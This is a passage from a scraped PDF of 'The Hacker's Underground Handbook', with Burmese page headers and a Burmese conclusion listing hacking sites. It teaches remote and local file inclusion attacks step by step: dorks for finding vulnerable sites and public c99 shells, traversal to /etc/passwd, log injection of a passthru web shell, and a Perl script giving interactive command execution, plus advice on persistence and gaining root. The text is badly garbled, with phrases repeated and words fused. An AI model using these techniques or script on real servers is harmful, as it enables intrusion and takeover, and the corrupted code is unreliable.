applications. Now let’s go through the steps a hacker would take to exploit this type of vulnerability in a website. 1. First the hacker would find a website that gets its pages via the PHP include() function and is vulnerable to RFI. Many hackers use Google dorks to locate servers vulnerable to RFI. A Google dork is the act of using Google’s provided search tools to help get a specific search result. 2. Website that include pages have a navigation system similar to: http://target-site.com/index.php?page=PageName 3. To see if a the page is vulnerable, the hacker would try to include a site instead of PageName like the following: http://target-site.com/index.php?page=http://google.com 4. If the Google homepage shows up on the website, then the hacker knows the website is vulnerable and would continue to include a shell. 5. A couple of the most popular shells are c99 and r57. A hacker would either upload them to a remote server or just use a Google dork to locate them already online and insert them. To find the a shell the hacker would search Google for: inurl:c99.txtinurl:c99.txtinurl:c99.txtinurl:c99.txt. This will display many websites with the shell already up and ready to be included. At the end of the URL make sure to add a ? ? ? ? so that if anything comes after c99.txt, it will be passed to the shell and not cause any problems. The new URL with the shell included would look like: http://target-site.com/index.php?page=http://site.com/c99.txt?

Page 107: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

6. Sometimes the PHP script on the server appends “.php.php.php.php” to the end of every included file. So if you included the shell, it would end up looking like “c99.txt.php” and not work. To get around this, you would add a null byte (%00) to the end of c99.txt. This tells the server to ignore everything after c99.txt. 7. In step one, I told you that hackers use Google dorks to look for sites possibly vulnerable to RFIs. An example of a Google dork would be: allinurl:.php?page=allinurl:.php?page=allinurl:.php?page=allinurl:.php?page=. This looks for URL’s with .php?page= in them. This is only an example and you most likely won’t find any vulnerable sites with that search. You can try switching around the word “page” with other letters and similar words. Hackers usually search vulnerability databases like www.milw0rm.com for already discovered RFI vulnerabilities in site content management systems and search for websites that are running that vulnerable web application with a Google dork.

Page 108: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

8. If the hacker succeeds in getting the server to parse the shell, he will be presented with a screen similar to the following: ပ - 102

The shell will display information about the remote server and list all the files and directories on it. From here the hacker would find a directory that has read and write privileges and upload the shell but this time as a .php .php .php .php file so that incase the vulnerability is fixed, he will be able to access it later on. 9. The hacker would next find a way to gain root privileges on the system. He can do this by uploading and running local exploits against the server. He could also search the victim server for configuration files. These files may contain username and passwords for the MYSQL databases and such.

Page 109: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

To protect yourself from RFI attacks, simply make sure you are using up-to-date scripts, and make sure you server php.ini php.ini php.ini php.ini file has register_globals register_globals register_globals register_globals and allow_url_fopen allow_url_fopen allow_url_fopen allow_url_fopen disabled. Local File InclusionLocal File InclusionLocal File InclusionLocal File Inclusion

Local File Inclusion (LFI) is when you have the ability to browse through the server by means of directory transversal. One of the most common uses of LFI is to discover the /etc/passwd /etc/passwd /etc/passwd /etc/passwd file. This file contains the user information of a Linux system. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s. Let’s say a hacker found a vulnerable site, www.targetwww.targetwww.targetwww.target----site.com/index.php?p=aboutsite.com/index.php?p=aboutsite.com/index.php?p=aboutsite.com/index.php?p=about, by means of directory transversal he would try to browse to the /etc/passwd file: www.targetwww.targetwww.targetwww.target----site.com/indsite.com/indsite.com/indsite.com/index.php?p= ../../../../../../../etc/passwdex.php?p= ../../../../../../../etc/passwdex.php?p= ../../../../../../../etc/passwdex.php?p= ../../../../../../../etc/passwd The ../ ../ ../ ../ you up one directory and the amount to use depends where in the server you are located compared the location of the /etc/passwd file. If the hacker is able to successfully get to the /etc/passwd file he would see a list similar to the one below. Root:x:0:0::/root:/bin/bash bin:x:1:1:bin:/bin:/bin/false daemon:x:2:2:daemon:/sbin:/bin/false adm:x:3:4:adm:/var/log:/bin/false lp:x:4:7:lp:/var/spool/lpd:/bin/false sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt Each line is divided into seven parts: username:passwd:UserID:GroupID:full_name:directory:shellsername:passwd:UserID:GroupID:full_name:directory:shellsername:passwd:UserID:GroupID:full_name:directory:shellsername:passwd:UserID:GroupID:full_name:directory:shell

If the password hash was shown, the hacker would be able to crack it and get

access to the machine, but in our case the password isn’t shown. . . . This means that the password is shadowed and in the /etc/shadow file which the hacker doesn’t have access to. If this was the case, the hacker would probably attempt to get access to the system another way, through log injection. The log directories are located in different areas in different Linux distributions. Below is a list of the most common locations.

Page 110: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

../apache/logs/error.log ../apache/logs/access.log ../../apache/logs/error.log ../../apache/logs/access.log ../../../apache/logs/error.log ../../../apache/logs/access.log ../../../../../../../etc/httpd/logs/acces_log ../../../../../../../etc/httpd/logs/acces.log ../../../../../../../etc/httpd/logs/error_log ../../../../../../../etc/httpd/logs/error.log ../../../../../../../var/www/logs/access_log ../../../../../../../var/www/logs/access.log ../../../../../../../usr/local/apache/logs/access_log ../../../../../../../usr/local/apache/logs/access.log ../../../../../../../var/log/apache/access_log ../../../../../../../var/log/apache2/access_log ../../../../../../../var/log/apache/access.log ../../../../../../../var/log/apache2/access.log ../../../../../../../var/log/access_log ../../../../../../../var/log/access.log ../../../../../../../var/www/logs/error_log ../../../../../../../var/www/logs/error.log ../../../../../../../usr/local/apache/logs/error_log ../../../../../../../usr/local/apache/logs/error.log ../../../../../../../var/log/apache/error_log ../../../../../../../var/log/apache2/error_log ../../../../../../../var/log/apache2/error.log ../../../../../../../var/log/error_log ../../../../../../../var/log/error.log

Page 111: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Below are the steps a hacker would take to take gain access to the system through log injection. 1. First the hacker would find what operating system version the target server is running and then search where the log files are located on that OS. 2. Next, through LFI the hacker would navigate to that file location. If he is displayed with a bunch of logs, then he may continue. 3. The hacker would then inject some PHP code into the logs by typing <? Passthru($_GET[‘cmd’]) ?> <? Passthru($_GET[‘cmd’]) ?> <? Passthru($_GET[‘cmd’]) ?> <? Passthru($_GET[‘cmd’]) ?> after = = = = in the URL. This will cause the PHP script to be logged because there is no file by that name. What this script will do is give the hacker shell access and allow him to execute system commands. 4. Now if the hacker goes back to the log file, he will see that his PHP script wasn’t parsed and instead converted to %3C?%20passthru($_GET[cmd])%20?%3E%3C?%20passthru($_GET[cmd])%20?%3E%3C?%20passthru($_GET[cmd])%20?%3E%3C?%20passthru($_GET[cmd])%20?%3E 5. When you submitted the script, the browser automatically encoded the URL. Luckily there is a pearl script that can get around this problem. Below is the pearl script, edit the variables: $site, $path, $code, and $log to the appropriate information. #!/usr/bin/perl #!/usr/bin/perl #!/usr/bin/perl #!/usr/bin/perl ----wwww use IO::Socket;use IO::Socket;use IO::Socket;use IO::Socket; use LWP::UserAgent;use LWP::UserAgent;use LWP::UserAgent;use LWP::UserAgent; $site=”www.vulnerablesite.com”;$site=”www.vulnerablesite.com”;$site=”www.vulnerablesite.com”;$site=”www.vulnerablesite.com”; $path=”/”;$path=”/”;$path=”/”;$path=”/”; $code=”<? Passthru($code=”<? Passthru($code=”<? Passthru($code=”<? Passthru(\\\\$_GET[cmd]) ?>”;$_GET[cmd]) ?>”;$_GET[cmd]) ?>”;$_GET[cmd]) ?>”; $log = “../../../../../../../etc/httpd/logs/error_log”;$log = “../../../../../../../etc/httpd/logs/error_log”;$log = “../../../../../../../etc/httpd/logs/error_log”;$log = “../../../../../../../etc/httpd/logs/error_log”; print “Trying to inject the code”;print “Trying to inject the code”;print “Trying to inject the code”;print “Trying to inject the code”; $socket = IO::Socket::INET$socket = IO::Socket::INET$socket = IO::Socket::INET$socket = IO::Socket::INET---->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die “die “die “die “\\\\nConnection Failed.nConnection Failed.nConnection Failed.nConnection Failed.\\\\nnnn\\\\n”;n”;n”;n”; print $socket “GET “.$path.$code.” HTTP/1.1print $socket “GET “.$path.$code.” HTTP/1.1print $socket “GET “.$path.$code.” HTTP/1.1print $socket “GET “.$path.$code.” HTTP/1.1\\\\rrrr\\\\n”;n”;n”;n”; print $socket “Userprint $socket “Userprint $socket “Userprint $socket “User----Agent: “.$code.”Agent: “.$code.”Agent: “.$code.”Agent: “.$code.”\\\\rrrr\\\\n”;n”;n”;n”; print $socket “Host: “.$site.”print $socket “Host: “.$site.”print $socket “Host: “.$site.”print $socket “Host: “.$site.”\\\\rrrr\\\\n”;n”;n”;n”; print $socket “Connection: closeprint $socket “Connection: closeprint $socket “Connection: closeprint $socket “Connection: close\\\\rrrr\\\\nnnn\\\\rrrr\\\\n”;n”;n”;n”; close($socket);close($socket);close($socket);close($socket); print “print “print “print “\\\\nCode $code successfully innCode $code successfully innCode $code successfully innCode $code successfully injected in $log jected in $log jected in $log jected in $log \\\\n”;n”;n”;n”;

Page 112: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

print “print “print “print “\\\\nType command to run or exit to end: “;nType command to run or exit to end: “;nType command to run or exit to end: “;nType command to run or exit to end: “; $cmd = <STDIN>;$cmd = <STDIN>;$cmd = <STDIN>;$cmd = <STDIN>; while($cmd !~ “exit”) {while($cmd !~ “exit”) {while($cmd !~ “exit”) {while($cmd !~ “exit”) { $socket = IO::Socket::INET$socket = IO::Socket::INET$socket = IO::Socket::INET$socket = IO::Socket::INET---->new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or >new(Proto=>”tcp”, PeerAddr=>”$site”, PeerPort=>”80”) or die “die “die “die “\\\\nConnection Failed.nConnection Failed.nConnection Failed.nConnection Failed.\\\\nnnn\\\\n”;n”;n”;n”; print $socket “GET “.$path.”indeprint $socket “GET “.$path.”indeprint $socket “GET “.$path.”indeprint $socket “GET “.$path.”index.php?filename=”.$log.”&cmd=$cmd HTTP/1.1x.php?filename=”.$log.”&cmd=$cmd HTTP/1.1x.php?filename=”.$log.”&cmd=$cmd HTTP/1.1x.php?filename=”.$log.”&cmd=$cmd HTTP/1.1\\\\rrrr\\\\n”;n”;n”;n”; print $socket “Host: “.$site.”print $socket “Host: “.$site.”print $socket “Host: “.$site.”print $socket “Host: “.$site.”\\\\rrrr\\\\n”;n”;n”;n”; print $socket “Accept: */*print $socket “Accept: */*print $socket “Accept: */*print $socket “Accept: */*\\\\rrrr\\\\n”;n”;n”;n”; print $socket “Connection: closeprint $socket “Connection: closeprint $socket “Connection: closeprint $socket “Connection: close\\\\rrrr\\\\nnnn\\\\n”;n”;n”;n”; while ($show = <$socket>)while ($show = <$socket>)while ($show = <$socket>)while ($show = <$socket>) {{{{ print $show;print $show;print $show;print $show; }}}} print “Type command to run or exit to end: “;print “Type command to run or exit to end: “;print “Type command to run or exit to end: “;print “Type command to run or exit to end: “; $cmd = <$cmd = <$cmd = <$cmd = <STDIN>;STDIN>;STDIN>;STDIN>; }}}} 6. Once the hacker runs this script and it goes successfully, he will be able to run any command on the server. From here he can run any local exploits to gain root, or just browse the server files.

Page 113: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Chapter Ten Conclusion

Page 114: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။

Aခ Aားလးက ေလလာဖတရႈၿပးၿပဆေတာ AေျခခဟကငးAေၾကာငး သရၿပးသြားပါၿပ။ ဒစာA ပထမာပါတ ေခါငးစU Topic တစခက ေရြးခယၿပး A ဒ topic ကဆကလကေလလာပါ။ A ဒ topic ကေတာေတာႏ႕စပကၽြမးကငသြားၿပဆမ ေနာကတစခက ဆကေလလာပါ။ ဟကငးက စတငေလလာသေတြရ႕ A ႀကးဆး A မားတစခက တစၿပငတညးန႕ A ားလးက သခငတာပါပ။ တစၿပငတညးန႕ A ားလးက ေလလာရငေတာ A ခနသာကနသြားပါမယ၊ လလေလာကေလာက သနားလညမာ မဟတပါဘး။ ေA ာကမာကေတာ ဟကငးန႕သကဆငတ site ေတြပါ။ • HackThisSite http://www.hackthissite.org/- web hacking ကဆကလကေလလာဖ႕A တြက A လြနေကာငးမြနတဆဒပါ။ • HellBound Hackers http://www.hellboundhackers.org/- web hacking န႕သကဆငတ ဆဒပါပ။ • Astalavista https://www.astalavista.net/index.php?adID=6344- Astalavista မာ သငက ကညေပးမယ security professionals ေတြရပါတယ။ ေနာကၿပး A ဒမာ security papers ေတြ၊ tools ေတြလညး A မားႀကးရပါတယ။ • DarkMindz http://www.darkmindz.com/ • Black-Hat Forums http://www.blackhat-forums.com/

Hacking န႕ programming ဟာ ဒြနတြေနတA တြက ေကာငးမြနတ programming forums A နညးငယကပါ ေဖာျပလကပါတယ။ • </dream.in.code> http://www.dreamincode.net/ • Programming Forums http://www.programmingforums.org/ • Go4Expert http://www.go4expert.com/ • CodeCall http://forum.codecall.net/

Page 115: The Hacker’s Underground Handbook ကို · PDF fileVirtual Machine Aတကြ ္ နာမည္ေပးၿပီး OS Type မွာ Ubuntu ကို ေရးြ ေပးပါ။